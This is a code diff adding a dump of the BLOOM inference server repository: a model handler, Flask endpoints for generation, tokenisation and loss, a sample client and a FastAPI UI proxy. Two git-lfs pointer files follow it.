+                num_generated_tokens = (output_tokens != self.pad).sum(dim=-1).tolist()
+                generated_text = self.tokenizer.batch_decode(output_tokens, skip_special_tokens=True)
+            else:
+                generated_tokens = output_tokens[:, num_input_tokens:]
+                num_generated_tokens = (generated_tokens != self.pad).sum(dim=-1).tolist()
+                if request.remove_input_from_output:
+                    prefix_to_add = torch.tensor([[self.prefix_token_id]] * batch_size).to(self.input_device)
+                    generated_tokens = torch.cat([prefix_to_add, generated_tokens], dim=1)
+                    generated_text = self.tokenizer.batch_decode(generated_tokens, skip_special_tokens=True)
+                    generated_text = [i[1:] for i in generated_text]
+                else:
+                    generated_text = self.tokenizer.batch_decode(output_tokens, skip_special_tokens=True)
+            return GenerateResponse(text=generated_text, num_generated_tokens=num_generated_tokens, is_encoder_decoder=self.is_encoder_decoder)
+        except Exception as exception:
+            return exception
+
+    def forward(self, request: ForwardRequest) -> Union[ForwardResponse, Exception]:
+
+        def prepare_tensors(conditioning_tokens: List[List[int]], response_tokens: List[List[int]]):
+            bs = len(conditioning_tokens)
+            input_ids = [conditioning_tokens[i] + response_tokens[i] for i in range(bs)]
+            attention_mask = [[1] * (len(conditioning_tokens[i]) + len(response_tokens[i])) for i in range(bs)]
+            labels = [[-100] * len(conditioning_tokens[i]) + response_tokens[i] for i in range(bs)]
+            input_ids = pad(input_ids, self.tokenizer.pad_token_id)
+            attention_mask = pad(attention_mask, 0)
+            labels = pad(labels, -100)
+            return {'input_ids': torch.tensor(input_ids), 'attention_mask': torch.tensor(attention_mask), 'labels': torch.tensor(labels)}
+
+        def pad(arrays: list, padding: int, max_length: int=None):
+            if max_length is None:
+                max_length = max(list(map(len, arrays)))
+            arrays = [[padding] * (max_length - len(array)) + array for array in arrays]
+            return arrays
+        try:
+            batch_size = len(request.conditioning_text)
+            check_batch_size(batch_size, self.max_batch_size)
+            conditioning_tokens = self.tokenizer(request.conditioning_text)['input_ids']
+            response_tokens = self.tokenizer(request.response)['input_ids']
+            max_length_in_batch = max([len(conditioning_tokens) + len(response_tokens)])
+            check_max_input_length(max_length_in_batch, self.max_input_length)
+            input_tokens = prepare_tensors(conditioning_tokens, response_tokens)
+            for t in input_tokens:
+                if torch.is_tensor(input_tokens[t]):
+                    input_tokens[t] = input_tokens[t].to(self.input_device)
+            loss = self.model(**input_tokens).loss
+            return ForwardResponse(nll=loss.item(), is_encoder_decoder=self.is_encoder_decoder)
+        except Exception as exception:
+            return exception
+
+    def tokenize(self, request: TokenizeRequest) -> TokenizeResponse:
+        return TokenizeResponse(token_ids=self.tokenizer(request.text).input_ids, is_encoder_decoder=self.is_encoder_decoder)
+
+def check_max_input_length(input_token_length: int, max_input_length: int) -> None:
+    if max_input_length is None:
+        return
+    if input_token_length > max_input_length:
+        raise Exception(f'max supported input length = {max_input_length} for now')
+
+def check_batch_size(batch_size: int, max_batch_size: int) -> None:
+    if max_batch_size is None:
+        return
+    if batch_size > max_batch_size:
+        raise Exception(f'max supported batch size = {max_batch_size} for now')
+
+def get_hf_model_class(model_class: str) -> Union[AutoModelForCausalLM, AutoModelForSeq2SeqLM]:
+    return getattr(transformers, model_class)
+
+def load_tokenizer(model_name: str) -> AutoTokenizer:
+    tokenizer = AutoTokenizer.from_pretrained(model_name, padding_side='left')
+    if tokenizer.pad_token_id is None:
+        tokenizer.add_special_tokens({'pad_token': '[PAD]'})
+    return tokenizer
+
+# File: transformers-bloom-inference-main/inference_server/server.py
+import os
+from functools import partial
+from flask import Flask, request
+from flask_api import status
+from pydantic import BaseModel
+from .constants import HF_ACCELERATE
+from .model_handler.deployment import ModelDeployment
+from .utils import ForwardRequest, GenerateRequest, TokenizeRequest, get_exception_response, get_num_tokens_to_generate, get_torch_dtype, parse_bool, run_and_log_time
+
+class QueryID(BaseModel):
+    generate_query_id: int = 0
+    tokenize_query_id: int = 0
+    forward_query_id: int = 0
+
+class Args:
+
+    def __init__(self) -> None:
+        self.deployment_framework = os.getenv('DEPLOYMENT_FRAMEWORK', HF_ACCELERATE)
+        self.model_name = os.getenv('MODEL_NAME')
+        self.model_class = os.getenv('MODEL_CLASS')
+        self.dtype = get_torch_dtype(os.getenv('DTYPE'))
+        self.allowed_max_new_tokens = int(os.getenv('ALLOWED_MAX_NEW_TOKENS', 100))
+        self.max_input_length = int(os.getenv('MAX_INPUT_LENGTH', 512))
+        self.max_batch_size = int(os.getenv('MAX_BATCH_SIZE', 4))
+        self.debug = parse_bool(os.getenv('DEBUG', 'false'))
+args = Args()
+model = ModelDeployment(args, True)
+query_ids = QueryID()
+app = Flask(__name__)
+
+@app.route('/query_id/', methods=['GET'])
+def query_id():
+    return (query_ids.dict(), status.HTTP_200_OK)
+
+@app.route('/tokenize/', methods=['POST'])
+def tokenize():
+    try:
+        x = request.get_json()
+        x = TokenizeRequest(**x)
+        (response, total_time_taken) = run_and_log_time(partial(model.tokenize, request=x))
+        response.query_id = query_ids.tokenize_query_id
+        query_ids.tokenize_query_id += 1
+        response.total_time_taken = '{:.2f} msecs'.format(total_time_taken * 1000)
+        return (response.dict(), status.HTTP_200_OK)
+    except Exception:
+        response = get_exception_response(query_ids.tokenize_query_id, args.debug)
+        query_ids.tokenize_query_id += 1
+        return (response, status.HTTP_500_INTERNAL_SERVER_ERROR)
+
+@app.route('/generate/', methods=['POST'])
+def generate():
+    try:
+        x = request.get_json()
+        x = GenerateRequest(**x)
+        x.max_new_tokens = get_num_tokens_to_generate(x.max_new_tokens, args.allowed_max_new_tokens)
+        (response, total_time_taken) = run_and_log_time(partial(model.generate, request=x))
+        response.query_id = query_ids.generate_query_id
+        query_ids.generate_query_id += 1
+        response.total_time_taken = '{:.2f} secs'.format(total_time_taken)
+        return (response.dict(), status.HTTP_200_OK)
+    except Exception:
+        response = get_exception_response(query_ids.generate_query_id, args.debug)
+        query_ids.generate_query_id += 1
+        return (response, status.HTTP_500_INTERNAL_SERVER_ERROR)
+
+@app.route('/forward/', methods=['POST'])
+def forward():
+    try:
+        x = request.get_json()
+        x = ForwardRequest(**x)
+        if len(x.conditioning_text) != len(x.response):
+            raise Exception('unequal number of elements in conditioning_text and response arguments')
+        (response, total_time_taken) = run_and_log_time(partial(model.forward, request=x))
+        response.query_id = query_ids.forward_query_id
+        query_ids.forward_query_id += 1
+        response.total_time_taken = '{:.2f} secs'.format(total_time_taken)
+        return (response.dict(), status.HTTP_200_OK)
+    except Exception:
+        response = get_exception_response(query_ids.forward_query_id, args.debug)
+        query_ids.forward_query_id += 1
+        return (response, status.HTTP_500_INTERNAL_SERVER_ERROR)
+
+# File: transformers-bloom-inference-main/server_request.py
+import argparse
+import requests
+
+def get_args() -> argparse.Namespace:
+    parser = argparse.ArgumentParser()
+    group = parser.add_argument_group(title='launch config')
+    group.add_argument('--host', type=str, required=True, help='host address')
+    group.add_argument('--port', type=int, required=True, help='port number')
+    return parser.parse_args()
+
+def generate(url: str) -> None:
+    url = url + '/generate/'
+    request_body = {'text': ['DeepSpeed', 'DeepSpeed is a', 'DeepSpeed is a machine', 'DeepSpeed is a machine learning framework'], 'max_new_tokens': 40}
+    response = requests.post(url=url, json=request_body, verify=False)
+    print(response.json(), '\n')
+
+def tokenize(url: str) -> None:
+    url = url + '/tokenize/'
+    request_body = {'text': ['DeepSpeed is a', 'DeepSpeed is a machine learning framework']}
+    response = requests.post(url=url, json=request_body, verify=False)
+    print(response.json(), '\n')
+
+def forward(url: str) -> None:
+    url = url + '/forward/'
+    request_body = {'conditioning_text': ['DeepSpeed', 'DeepSpeed is a', 'DeepSpeed is a machine', 'DeepSpeed is a machine learning framework'], 'response': ['DeepSpeed', 'DeepSpeed is a', 'DeepSpeed is a machine', 'DeepSpeed is a machine learning framework']}
+    response = requests.post(url=url, json=request_body, verify=False)
+    print(response.json(), '\n')
+
+def query_id(url: str) -> None:
+    url = url + '/query_id/'
+    response = requests.get(url=url, verify=False)
+    print(response.json(), '\n')
+
+def main():
+    args = get_args()
+    url = 'http://{}:{}'.format(args.host, args.port)
+    generate(url)
+    tokenize(url)
+    forward(url)
+    query_id(url)
+if __name__ == '__main__':
+    main()
+
+# File: transformers-bloom-inference-main/ui.py
+import argparse
+import requests
+from fastapi import FastAPI, Request
+from fastapi.middleware.cors import CORSMiddleware
+from fastapi.responses import HTMLResponse, JSONResponse
+from fastapi.routing import APIRoute, Mount
+from fastapi.staticfiles import StaticFiles
+from fastapi.templating import Jinja2Templates
+from transformers import AutoTokenizer
+from uvicorn import run
+
+def get_args() -> argparse.Namespace:
+    parser = argparse.ArgumentParser()
+    group = parser.add_argument_group(title='launch config')
+    group.add_argument('--ui_host', type=str, default='127.0.0.1', help='host address for UI')
+    group.add_argument('--ui_port', type=int, default=5001, help='port number for UI')
+    group.add_argument('--generation_backend_host', type=str, default='127.0.0.1', help='host address for generation server')
+    group.add_argument('--generation_backend_port', type=int, default=5000, help='port number for generation server')
+    return parser.parse_args()
+
+class Server:
+
+    def __init__(self, args: argparse.Namespace):
+        self.templates = Jinja2Templates(directory='templates')
+        self.ui_host = args.ui_host
+        self.ui_port = args.ui_port
+        self.generation_backend_host = args.generation_backend_host
+        self.generation_backend_port = args.generation_backend_port
+        self.workers = 1
+        self.tokenizer = AutoTokenizer.from_pretrained('bigscience/bloom')
+        self.app = FastAPI(routes=[APIRoute('/', self.homepage, methods=['GET'], response_class=HTMLResponse), APIRoute('/generate/', self.generate, methods=['POST']), Mount('/static/', StaticFiles(directory='static'), name='static')], timeout=600)
+        self.prefix_checkpoints_list = None
+
+    def homepage(self, request: Request) -> HTMLResponse:
+        return self.templates.TemplateResponse('index.html', {'request': request})
+
+    def generate(self, request: dict) -> JSONResponse:
+        response = requests.post(f'http://{self.generation_backend_host}:{self.generation_backend_port}/generate', json=request, verify=False)
+        return JSONResponse(content=response.json())
+
+    def run(self):
+        self.app.add_middleware(CORSMiddleware, allow_origins=['*'], allow_credentials=True, allow_methods=['*'], allow_headers=['*'])
+        run(self.app, host=self.ui_host, port=self.ui_port, workers=self.workers)
+
+def main() -> None:
+    Server(get_args()).run()
+if __name__ == '__main__':
+    main()
+

huggingface_transformers.txt

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:96463b4eac366e4845986ebecddde94c861630a3a1f135e63c0b4e1026a53f3a
+size 27122779

python_libs_plotly.py.txt

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:d8b9db0e0de5edf32a81e5fd18a8ac35866d75b6528b647051947ed53c32fa57
+size 19767758